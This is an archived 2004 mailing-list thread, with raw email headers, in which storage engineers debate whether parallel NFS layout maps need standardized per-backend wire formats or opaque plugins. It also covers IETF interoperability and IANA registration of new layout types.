(66.218.66.166) by m7.grp.scd.yahoo.com with QMQP; 13 Feb 2004 01:19:20 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta5.grp.scd.yahoo.com with SMTP; 13 Feb 2004 01:19:19 -0000 Received: from mailrelay3.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1D1JJHR007154 for ; Thu, 12 Feb 2004 18:19:19 -0700 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay3.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1D1JIeI007886 for ; Thu, 12 Feb 2004 18:19:18 -0700 Received: from cthulu.lanl.gov (vpn-client-224.lanl.gov [128.165.253.224]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1D1JFYi012624 for ; Thu, 12 Feb 2004 18:19:16 -0700 Message-Id: <5.2.0.9.2.20040212181154.01621d60@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Thu, 12 Feb 2004 18:19:15 -0700 To: pnfs-reqs@yahoogroups.com In-Reply-To: <30489F1321F5C343ACF6872B2CF7942A05D38875@PIKES.panasas.com > Mime-Version: 1.0 Content-Type: multipart/related; type=""multipart/alternative""; boundary=""=====================_33382571==.REL"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: RE: [pnfs-reqs] concall tomorrow X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs So I think having a header that has the info that is needed for interop is fine and having a payload that is opaque is fine. So explain why we need three different ""wire formats"" for these three different methods? Why arent these things just 3 different types within the same wire format? Or is that what is envisioned, and I am just hung up on the terminology, and what you are saying is that we need to 1) define the header for interop type, version, length perhaps etc. and 2) define a) opaque info for SBC type = 1 version = 1 b) opaque info for Object type = 2 version = 1 c) opaque info for NFS back ends type = 3 version = 1 and if someone wants to write an IETF request to have type = 4 added they can write a draft and get it approved and document the opaque info format? Thanks Gary At 08:03 PM 2/12/2004 -0500, Halevy, Benny wrote: > > If we do a separate IETF process for each new format, wont it > > be hard to keep up. > > I don't see that as necessarily a bad thing... > > > I agree we need to have a ""type"" of back end and maybe a version > > or something, but what is in the map could be of no concern to the IETF, couldnt it? > The IETF is concerned about interoperability. I believe we should be concerned with standardizing > the wire format of the layout maps. Do we *have* to do that within the IETF? There > could be other options but since you have to refer to some external standard to talk about > interoperability it'll be difficult to refer to non-existing standards that are being standardized > outside of the IETF. > > T10-OSD is one such external standard that substantial enough so it can be referred to. > > > Do we want to get an IETF action every time we need to add a new flavor? > > Probably, in order to extend the vector of available flavors. This could be done within > NFSv4's minor versioning model. > > > How easy is this process going to be? How easy is it going to be to change. > > Sounds like it will be very much harder than just changing out your plugins. > > Again, there's a trade-off between versatility and interoperability. > > > Are we linking several different communities to work in lock > > step? Is that good or bad? > > The hierarchical standard model is intended to allow each flavor to make progress at its own pace. > > Benny > > -----Original Message----- > From: Gary Grider [mailto:ggrider@lanl.gov] > Sent: Thursday, February 12, 2004 7:44 PM > To: pnfs-reqs@yahoogroups.com > Subject: Re: [pnfs-reqs] concall tomorrow > > At 04:17 PM 2/12/2004 -0800, Garth Gibson wrote: > >> On Feb 12, 2004, at 3:31 PM, Gary Grider wrote: >> > At 04:10 PM 2/11/2004 -0800, Garth Gibson wrote: >> >> - its time to get back to the original roles of the mailing lists: >> >> - a draft of a requirements doc >> >> - a draft of the operations we suggest for NFSv4 extension >> >> - a draft of the wire format of layout metadata for SBC >> >> (FC/SCSI) backends >> >> - a draft of the wire format of layout metadata for OSD >> >> backends >> >> - a draft of the wire format of layout metadata for NFS >> >> backends >> > >> > Ok, I have a big problem with the last three statements. I know I >> > have not been following >> > this stuff as closely as I should have, but why cant the maps be sent >> > to from the server >> > in an agnostic way? Why does the NFS server have to understand any >> > of what is in the >> > map? Why isnt there a plug in on the server side to get the map info >> > for the server to >> > send to the client, and why isnt there a plug in on the client side >> > to pass the map down to? >> >> The NFS server does not have to understand what is in the map, other >> than enough to know what file the layout delegation and map pertain to >> for recalling that delegation. >> >> However, for any chance of interoperability, the map formats must be >> documented. > > > agree, but does IETF care about this, its just information that NFS can pass on, > seems like if a consortia of T10 folks want a common set of plugins, thats great, > if SBC folks want a common plug in, thats great, but why should NFS/IETF care > about this? > >> And since each backend server flavor has addressing >> characteristics that will be visible in the map, the documented map >> formats will be specific to the backend flavors. >> >> The theory we started with was that the base NFSv4 extensions would >> describe opaque ""maps"". And that we would propose separate internet >> drafts for a wire format for each flavor of map. > > > Why do we need a different wire format? Isnt it just a blob of data that is passed > through some normal NFS protocol mechanism? Why does it need a wire format? > I agree it needs a published format of the stream of data. Am I reading more into > ""wire"" than I should. If we do a separate IETF process for each new format, wont it > be hard to keep up. I agree we need to have a ""type"" of back end and maybe a version > or something, but what is in the map could be of no concern to the IETF, couldnt it? > >> Hence the NFSv4 >> extensions are backend protocol agnostic, yet the client >> implementations can be interoperable. >> >> > What if the world decides to add another way to do I/O besides Block, >> > Object, and NFS? >> > What happens if the Object model evolves, does NFS have to change to >> > stay in >> > sync with it? Shouldnt all this stuff be as opaque as it can be? >> > You do need locks >> > for making sure the map doesnt change. >> >> A new backend protocol would cause a new map flavor, and a new document >> for that map flavor's wire format. > > > Do we want to get an IETF action every time we need to add a new flavor? > How easy is this process going to be? How easy is it going to be to change. > Sounds like it will be very much harder than just changing out your plugins. > Are we linking several different communities to work in lock > step? Is that good or bad? > > > Thanks > Gary > > >> The challenge for us is to make the typing and sizing of the opaque map >> flexible enough to allow said extension. The fall back, if the new >> backend is very much different from the scope of SBC, OSD and NFS, >> would be do further extend NFSv4. I hope we do not have to do that. >> >> > I am confused why we gave up on trying to make this agnostic. >> > Sorry for the question, but I have this built in alarm, that goes off >> > when I see >> > any numbers besides 0,1, and N (not 3). >> >> This is intended to be a structure for 1, 2 and 3, with an inductive >> step enabling any positive whole number to be induced :-) >> >> > Thanks >> > Gary >> >> garth >> >> Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. Yahoo! Groups Sponsor ADVERTISEMENT 1fd596e.jpgClick Here 1fd5ab9.jpg Yahoo! Groups Links * To visit your group on the web, go to: * http://groups.yahoo.com/group/pnfs-reqs/ * * To unsubscribe from this group, send an email to: * pnfs-reqs-unsubscribe@yahoogroups.com * * Your use of Yahoo! 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Terms of Service. >From Thomas.Talpey@netapp.com Thu Feb 12 17:22:21 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 8672 invoked from network); 13 Feb 2004 01:22:21 -0000 Received: from unknown (66.218.66.218) by m11.grp.scd.yahoo.com with QMQP; 13 Feb 2004 01:22:21 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 13 Feb 2004 01:22:21 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i1D1MKJC029608 for ; Thu, 12 Feb 2004 17:22:20 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i1D1MKiH015003 for ; Thu, 12 Feb 2004 17:22:20 -0800 (PST) Received: from tmt.netapp.com ([10.97.6.30]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 12 Feb 2004 20:22:14 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3F1CF.CF99E700"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Thu, 12 Feb 2004 17:22:04 -0800 Message-ID: <5.2.1.1.2.20040212202018.01e2aea0@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] concall tomorrow Thread-Index: AcPxz9A7m6fy2BsXR2KPKZkslTsDvQ== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] concall tomorrow X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu At 07:17 PM 2/12/2004, Garth Gibson wrote: >The NFS server does not have to understand what is in the map, other >than enough to know what file the layout delegation and map pertain to >for recalling that delegation. What map? Did we go from problem statement to protocol definition overnight? Confused, Tom. >From ggrider@lanl.gov Thu Feb 12 20:44:07 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 30018 invoked from network); 13 Feb 2004 04:44:06 -0000 Received: from unknown (66.218.66.217) by m18.grp.scd.yahoo.com with QMQP; 13 Feb 2004 04:44:06 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta2.grp.scd.yahoo.com with SMTP; 13 Feb 2004 04:44:05 -0000 Received: from mailrelay1.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1D4i5HR020583 for ; Thu, 12 Feb 2004 21:44:05 -0700 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay1.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1D4i4rl018790 for ; Thu, 12 Feb 2004 21:44:04 -0700 Received: from cthulu.lanl.gov (vpn-client-160.lanl.gov [128.165.253.160]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1D4hvYk027660; Thu, 12 Feb 2004 21:44:00 -0700 Message-Id: <5.2.0.9.2.20040212213826.038a2208@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Thu, 12 Feb 2004 21:41:14 -0700 To: pnfs-reqs@yahoogroups.com, In-Reply-To: Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=""=====================_45664431==_"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: RE: Fwd: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs I agree. I added some parallel stuff. Thanks Gary At 07:22 AM 2/12/2004 -0800, Corbett, Peter wrote: > The slides mention server bypass twice, but don't talk about parallel > access. Our problem statement is much more focussed on parallel access. > We are trying to define a standard for parallel access, whether that is > to nfs based data servers, object servers, virtualized SAN or > non-virtualized SAN devices. So, I think we need to be clearer when > talking about bypassing the server that we are really talking about > direct access to a parallel data store from clustered clients, with a > shared NFS server acting as a metadata server. To me, that is the key > point that applies across the entire solution space, whereas direct > access to devices is a data access technique in part of the solution > space. > > -----Original Message----- > From: Gary Grider [mailto:ggrider@lanl.gov] > Sent: Thursday, February 12, 2004 12:55 AM > To: pnfs-reqs@yahoogroups.com > Subject: Re: Fwd: [pnfs-reqs] RE: NEPS-REQS: getting started > > > elevator pitch > > Gary > > > Yahoo! Groups Links > > > > > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. Attachment (not stored) pNFS-elevator-pitch.ppt Type: application/octet-stream >From bhalevy@panasas.com Thu Feb 12 21:41:40 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 48383 invoked from network); 13 Feb 2004 05:41:39 -0000 Received: from unknown (66.218.66.218) by m14.grp.scd.yahoo.com with QMQP; 13 Feb 2004 05:41:38 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 13 Feb 2004 05:41:38 -0000 Received: from yang ([172.17.19.58]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY3R0N; Fri, 13 Feb 2004 00:41:35 -0500 To: Date: Fri, 13 Feb 2004 00:41:27 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-reply-to: <5.2.0.9.2.20040212181154.01621d60@cic-mail.lanl.gov> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal X-eGroups-Remote-IP: 65.194.124.178 From: ""Benny Halevy"" Subject: RE: [pnfs-reqs] concall tomorrow X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy > Or is that what is envisioned, and I am just hung up on the > terminology, and what you are saying is that we need to > 1) define the header for interop > type, version, length perhaps etc. > and > 2) define > a) opaque info for SBC type = 1 version = 1 > b) opaque info for Object type = 2 version = 1 > c) opaque info for NFS back ends type = 3 version = 1 > If I understand what you think I think then yes, this is pretty much they way I see it :) ""define opaque info"" is a little ambiguous. I believe we should define the wire format of each flavor to a level necessary to demonstrate interoperability. Some encapsulated data structures such as device addresses, file handles or capabilities can be defined ""by reference"" to other standards but the overall framing protocol must be well defined so that it is parseable by any *independent* implementation of a NFSv4.p client. The client shouldn't require any knowledge about the underlying server file system internals and it shouldn't require any external configuration to help it parse the opaque structures. It needs to be able to understand whatever it needs to know about the flavor's ""opaque info"" in order to use it from the standard's types and versions. > and if someone wants to write an IETF request to have type = 4 added > they can write a draft and get it approved and document the opaque info format? Yes and there should be a process in place to register new types in a central repository (likely to be IANA, see below). So far I think this discussion exposed a couple requirements: 1) Interoperability To conform with rfc2026, the extensions we propose must provide enough details to eventually satisfy ""The requirement for at least two independent and interoperable implementations"". 2) Extensibility The NFSv4 protocol extensions should allow to add new pNFS flavors. Some (or all) flavors may have a requirement for extensibility in their own wire format. IANA considerations pNFS flavors should be registered with IANA. Need to define the process requirements and add to NFSv4 IANA requirements section. For example, see rfc3530 section 17.2. ONC RPC Network Identifiers (netids): ... the registration of new Network Identifiers will require the publication of an Information RFC with similar detail as listed above for the Network Identifier itself and corresponding Universal Address. Benny -----Original Message----- From: Gary Grider [mailto:ggrider@lanl.gov] Sent: Thursday, February 12, 2004 20:19 To: pnfs-reqs@yahoogroups.com Subject: RE: [pnfs-reqs] concall tomorrow So I think having a header that has the info that is needed for interop is fine and having a payload that is opaque is fine. So explain why we need three different ""wire formats"" for these three different methods? Why arent these things just 3 different types within the same wire format? Or is that what is envisioned, and I am just hung up on the terminology, and what you are saying is that we need to 1) define the header for interop type, version, length perhaps etc. and 2) define a) opaque info for SBC type = 1 version = 1 b) opaque info for Object type = 2 version = 1 c) opaque info for NFS back ends type = 3 version = 1 and if someone wants to write an IETF request to have type = 4 added they can write a draft and get it approved and document the opaque info format? Thanks Gary At 08:03 PM 2/12/2004 -0500, Halevy, Benny wrote: > If we do a separate IETF process for each new format, wont it > be hard to keep up. I don't see that as necessarily a bad thing... > I agree we need to have a ""type"" of back end and maybe a version > or something, but what is in the map could be of no concern to the IETF, couldnt it? The IETF is concerned about interoperability. I believe we should be concerned with standardizing the wire format of the layout maps. Do we *have* to do that within the IETF? There could be other options but since you have to refer to some external standard to talk about interoperability it'll be difficult to refer to non-existing standards that are being standardized outside of the IETF. T10-OSD is one such external standard that substantial enough so it can be referred to. > Do we want to get an IETF action every time we need to add a new flavor? Probably, in order to extend the vector of available flavors. This could be done within NFSv4's minor versioning model. > How easy is this process going to be? How easy is it going to be to change. > Sounds like it will be very much harder than just changing out your plugins. Again, there's a trade-off between versatility and interoperability. > Are we linking several different communities to work in lock > step? Is that good or bad? The hierarchical standard model is intended to allow each flavor to make progress at its own pace. Benny -----Original Message----- From: Gary Grider [mailto:ggrider@lanl.gov] Sent: Thursday, February 12, 2004 7:44 PM To: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] concall tomorrow At 04:17 PM 2/12/2004 -0800, Garth Gibson wrote: On Feb 12, 2004, at 3:31 PM, Gary Grider wrote: > At 04:10 PM 2/11/2004 -0800, Garth Gibson wrote: >> - its time to get back to the original roles of the mailing lists: >> - a draft of a requirements doc >> - a draft of the operations we suggest for NFSv4 extension >> - a draft of the wire format of layout metadata for SBC >> (FC/SCSI) backends >> - a draft of the wire format of layout metadata for OSD >> backends >> - a draft of the wire format of layout metadata for NFS >> backends > > Ok, I have a big problem with the last three statements. I know I > have not been following > this stuff as closely as I should have, but why cant the maps be sent > to from the server > in an agnostic way? Why does the NFS server have to understand any > of what is in the > map? Why isnt there a plug in on the server side to get the map info > for the server to > send to the client, and why isnt there a plug in on the client side > to pass the map down to? The NFS server does not have to understand what is in the map, other than enough to know what file the layout delegation and map pertain to for recalling that delegation. However, for any chance of interoperability, the map formats must be documented. agree, but does IETF care about this, its just information that NFS can pass on, seems like if a consortia of T10 folks want a common set of plugins, thats great, if SBC folks want a common plug in, thats great, but why should NFS/IETF care about this? And since each backend server flavor has addressing characteristics that will be visible in the map, the documented map formats will be specific to the backend flavors. The theory we started with was that the base NFSv4 extensions would describe opaque ""maps"". And that we would propose separate internet drafts for a wire format for each flavor of map. Why do we need a different wire format? Isnt it just a blob of data that is passed through some normal NFS protocol mechanism? Why does it need a wire format? I agree it needs a published format of the stream of data. Am I reading more into ""wire"" than I should. If we do a separate IETF process for each new format, wont it be hard to keep up. I agree we need to have a ""type"" of back end and maybe a version or something, but what is in the map could be of no concern to the IETF, couldnt it? Hence the NFSv4 extensions are backend protocol agnostic, yet the client implementations can be interoperable. > What if the world decides to add another way to do I/O besides Block, > Object, and NFS? > What happens if the Object model evolves, does NFS have to change to > stay in > sync with it? Shouldnt all this stuff be as opaque as it can be? > You do need locks > for making sure the map doesnt change. A new backend protocol would cause a new map flavor, and a new document for that map flavor's wire format. Do we want to get an IETF action every time we need to add a new flavor? How easy is this process going to be? How easy is it going to be to change. Sounds like it will be very much harder than just changing out your plugins. Are we linking several different communities to work in lock step? Is that good or bad? Thanks Gary The challenge for us is to make the typing and sizing of the opaque map flexible enough to allow said extension. The fall back, if the new backend is very much different from the scope of SBC, OSD and NFS, would be do further extend NFSv4. I hope we do not have to do that. > I am confused why we gave up on trying to make this agnostic. > Sorry for the question, but I have this built in alarm, that goes off > when I see > any numbers besides 0,1, and N (not 3). This is intended to be a structure for 1, 2 and 3, with an inductive step enabling any positive whole number to be induced :-) > Thanks > Gary garth Yahoo! Groups Links To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-reqs/ To unsubscribe from this group, send an email to: pnfs-reqs-unsubscribe@yahoogroups.com Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. Yahoo! Groups Sponsor ADVERTISEMENT Click Here Yahoo! Groups Links To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-reqs/ To unsubscribe from this group, send an email to: pnfs-reqs-unsubscribe@yahoogroups.com Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. Yahoo! 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I think we'll do most of the work in the ops group, and the 3 transport mechanism groups will work out the specific details of the descriptors. There will be some back and forth to make sure we get the ops set right. -----Original Message----- From: Gary Grider [mailto:ggrider@lanl.gov] Sent: Thursday, February 12, 2004 8:19 PM To: pnfs-reqs@yahoogroups.com Subject: RE: [pnfs-reqs] concall tomorrow So I think having a header that has the info that is needed for interop is fine and having a payload that is opaque is fine. So explain why we need three different ""wire formats"" for these three different methods? Why arent these things just 3 different types within the same wire format? Or is that what is envisioned, and I am just hung up on the terminology, and what you are saying is that we need to 1) define the header for interop type, version, length perhaps etc. and 2) define a) opaque info for SBC type = 1 version = 1 b) opaque info for Object type = 2 version = 1 c) opaque info for NFS back ends type = 3 version = 1 and if someone wants to write an IETF request to have type = 4 added they can write a draft and get it approved and document the opaque info format? Thanks Gary At 08:03 PM 2/12/2004 -0500, Halevy, Benny wrote: > > If we do a separate IETF process for each new format, wont it > > be hard to keep up. > > I don't see that as necessarily a bad thing... > > > I agree we need to have a ""type"" of back end and maybe a version > > or something, but what is in the map could be of no concern to the IETF, couldnt it? > The IETF is concerned about interoperability. I believe we should be concerned with standardizing > the wire format of the layout maps. Do we *have* to do that within the IETF? There > could be other options but since you have to refer to some external standard to talk about > interoperability it'll be difficult to refer to non-existing standards that are being standardized > outside of the IETF. > > T10-OSD is one such external standard that substantial enough so it can be referred to. > > > Do we want to get an IETF action every time we need to add a new flavor? > > Probably, in order to extend the vector of available flavors. This could be done within > NFSv4's minor versioning model. > > > How easy is this process going to be? How easy is it going to be to change. > > Sounds like it will be very much harder than just changing out your plugins. > > Again, there's a trade-off between versatility and interoperability. > > > Are we linking several different communities to work in lock > > step? Is that good or bad? > > The hierarchical standard model is intended to allow each flavor to make progress at its own pace. > > Benny > > -----Original Message----- > From: Gary Grider [mailto:ggrider@lanl.gov] > Sent: Thursday, February 12, 2004 7:44 PM > To: pnfs-reqs@yahoogroups.com > Subject: Re: [pnfs-reqs] concall tomorrow > > At 04:17 PM 2/12/2004 -0800, Garth Gibson wrote: > >> On Feb 12, 2004, at 3:31 PM, Gary Grider wrote: >> > At 04:10 PM 2/11/2004 -0800, Garth Gibson wrote: >> >> - its time to get back to the original roles of the mailing lists: >> >> - a draft of a requirements doc >> >> - a draft of the operations we suggest for NFSv4 extension >> >> - a draft of the wire format of layout metadata for SBC >> >> (FC/SCSI) backends >> >> - a draft of the wire format of layout metadata for OSD >> >> backends >> >> - a draft of the wire format of layout metadata for NFS >> >> backends >> > >> > Ok, I have a big problem with the last three statements. I know I >> > have not been following >> > this stuff as closely as I should have, but why cant the maps be sent >> > to from the server >> > in an agnostic way? Why does the NFS server have to understand any >> > of what is in the >> > map? Why isnt there a plug in on the server side to get the map info >> > for the server to >> > send to the client, and why isnt there a plug in on the client side >> > to pass the map down to? >> >> The NFS server does not have to understand what is in the map, other >> than enough to know what file the layout delegation and map pertain to >> for recalling that delegation. >> >> However, for any chance of interoperability, the map formats must be >> documented. > > > agree, but does IETF care about this, its just information that NFS can pass on, > seems like if a consortia of T10 folks want a common set of plugins, thats great, > if SBC folks want a common plug in, thats great, but why should NFS/IETF care > about this? > >> And since each backend server flavor has addressing >> characteristics that will be visible in the map, the documented map >> formats will be specific to the backend flavors. >> >> The theory we started with was that the base NFSv4 extensions would >> describe opaque ""maps"". And that we would propose separate internet >> drafts for a wire format for each flavor of map. > > > Why do we need a different wire format? Isnt it just a blob of data that is passed > through some normal NFS protocol mechanism? Why does it need a wire format? > I agree it needs a published format of the stream of data. Am I reading more into > ""wire"" than I should. If we do a separate IETF process for each new format, wont it > be hard to keep up. I agree we need to have a ""type"" of back end and maybe a version > or something, but what is in the map could be of no concern to the IETF, couldnt it? > >> Hence the NFSv4 >> extensions are backend protocol agnostic, yet the client >> implementations can be interoperable. >> >> > What if the world decides to add another way to do I/O besides Block, >> > Object, and NFS? >> > What happens if the Object model evolves, does NFS have to change to >> > stay in >> > sync with it? Shouldnt all this stuff be as opaque as it can be? >> > You do need locks >> > for making sure the map doesnt change. >> >> A new backend protocol would cause a new map flavor, and a new document >> for that map flavor's wire format. > > > Do we want to get an IETF action every time we need to add a new flavor? > How easy is this process going to be? How easy is it going to be to change. > Sounds like it will be very much harder than just changing out your plugins. > Are we linking several different communities to work in lock > step? Is that good or bad? > > > Thanks > Gary > > >> The challenge for us is to make the typing and sizing of the opaque map >> flexible enough to allow said extension. The fall back, if the new >> backend is very much different from the scope of SBC, OSD and NFS, >> would be do further extend NFSv4. I hope we do not have to do that. >> >> > I am confused why we gave up on trying to make this agnostic. >> > Sorry for the question, but I have this built in alarm, that goes off >> > when I see >> > any numbers besides 0,1, and N (not 3). >> >> This is intended to be a structure for 1, 2 and 3, with an inductive >> step enabling any positive whole number to be induced :-) >> >> > Thanks >> > Gary >> >> garth >> >> Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. Yahoo! Groups Sponsor ADVERTISEMENT 1fd596e.jpgClick Here 1fd5ab9.jpg Yahoo! Groups Links * To visit your group on the web, go to: * http://groups.yahoo.com/group/pnfs-reqs/ * * To unsubscribe from this group, send an email to: * pnfs-reqs-unsubscribe@yahoogroups.com * * Your use of Yahoo! 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Terms of Service. >From julian_satran@il.ibm.com Mon Feb 16 08:53:48 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 83072 invoked from network); 16 Feb 2004 16:53:48 -0000 Received: from unknown (66.218.66.167) by m16.grp.scd.yahoo.com with QMQP; 16 Feb 2004 16:53:48 -0000 Received: from unknown (HELO mtagate3.uk.ibm.com) (195.212.29.136) by mta6.grp.scd.yahoo.com with SMTP; 16 Feb 2004 16:53:47 -0000 Received: from d06nrmr1407.portsmouth.uk.ibm.com (d06nrmr1407.portsmouth.uk.ibm.com [9.149.38.185]) by mtagate3.uk.ibm.com (8.12.10/8.12.10) with ESMTP id i1GGrkMf044458 for ; Mon, 16 Feb 2004 16:53:46 GMT Received: from d12ml102.megacenter.de.ibm.com (d06av02.portsmouth.uk.ibm.com [9.149.37.228]) by d06nrmr1407.portsmouth.uk.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1GGrjFK184550 for ; Mon, 16 Feb 2004 16:53:46 GMT In-Reply-To: <5.2.0.9.2.20040212181154.01621d60@cic-mail.lanl.gov> To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Mon, 16 Feb 2004 18:55:39 +0200 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.0.2CF2|July 23, 2003) at 16/02/2004 18:55:41, Serialize complete at 16/02/2004 18:55:41 Content-Type: text/plain; charset=""US-ASCII"" X-eGroups-Remote-IP: 195.212.29.136 From: Julian Satran Subject: RE: [pnfs-reqs] plugins vs. wire protocol - a false dilemma X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran I followed this thread with interest. I agree with Garth that wire format is required for interoperability - and an opaque format is good only for communication between entities of the same kind. That is required and having more than one is not necessarily a bad thing. However Gary has a good point in that by introducing many different formats server and client implementers may feel somewhat uneasy (and may delay implementations). Security that Benny used as a benchmark has solved this by standardizing an API (GSS-API) besides the wire protocol (however beware IETF does not like to standardize APIs - unless presented as a semantic definition for the endpoint operation). Perhaps the right thing to do is define both an API for the plug-in Gary suggested and the wire protocol (that enables interoperability). And BTW - using a meaningful subject line is part of the mailing list etiquette - I almost dropped the whole thread knowing that I can't make the call. Regards, Julo >From black_david@emc.com Mon Feb 16 14:43:45 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 82548 invoked from network); 16 Feb 2004 22:43:44 -0000 Received: from unknown (66.218.66.167) by m19.grp.scd.yahoo.com with QMQP; 16 Feb 2004 22:43:44 -0000 Received: from unknown (HELO srexchimc2.eng.emc.com) (168.159.100.11) by mta6.grp.scd.yahoo.com with SMTP; 16 Feb 2004 22:43:44 -0000 Received: from maho3msx2.corp.emc.com ([128.221.11.32]) by srexchimc2.eng.emc.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id 1ZQJFTF2; Mon, 16 Feb 2004 17:43:43 -0500 Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id <1YVFBR8B>; Mon, 16 Feb 2004 17:43:42 -0500 Message-ID: X-Sybari-Trust: 858f5b34 1d8c424f c070781c 0000013d To: pnfs-reqs@yahoogroups.com Date: Mon, 16 Feb 2004 17:43:36 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 168.159.100.11 From: black_david@emc.com Subject: Data formats & Interoperability (was: concall tomorrow) X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 ADVERTISEMENT click here Gary Grider wrote: So I think having a header that has the info that is needed for interop is fine and having a payload that is opaque is fine. So explain why we need three different ""wire formats"" for these three different methods? Why arent these things just 3 different types within the same wire format? Or is that what is envisioned, and I am just hung up on the terminology, and what you are saying is that we need to 1) define the header for interop type, version, length perhaps etc. and 2) define a) opaque info for SBC type = 1 version = 1 b) opaque info for Object type = 2 version = 1 c) opaque info for NFS back ends type = 3 version = 1 and if someone wants to write an IETF request to have type = 4 added they can write a draft and get it approved and document the opaque info format? That's correct, and there are lots of IETF examples of protocols that are structured in this fashion. There is one issue that may cause some difficulty - mandatory requirements for interoperability. IETF requires that two implementations of the same protocol be capable of interoperating when implementers have made different choices among optional to implement features. This interoperation can be dependent on suitable configuration of the implementations. For example, there are mandatory-to-implement cryptographic algorithm requirements for protocols like IPsec and TLS to ensure that any two implementations can interoperate even if they've implemented different sets of cryptographic algorithms. In that case the ""mandatory to implement"" cryptographic algorithms will have been implemented by both, and will result in interoperation if they are chosen by both sides, although there's no requirement that they be offered or selected in negotiation. Requiring any one of the three metadata types Gary lists above to always be implemented is going to cause problems for some of the envisioned implementations. I think the best bet for the pNFS extensions will be to define ""none"" (i.e., vanilla NFSv4) as the ""mandatory to implement"" interoperable mode, with all pNFS 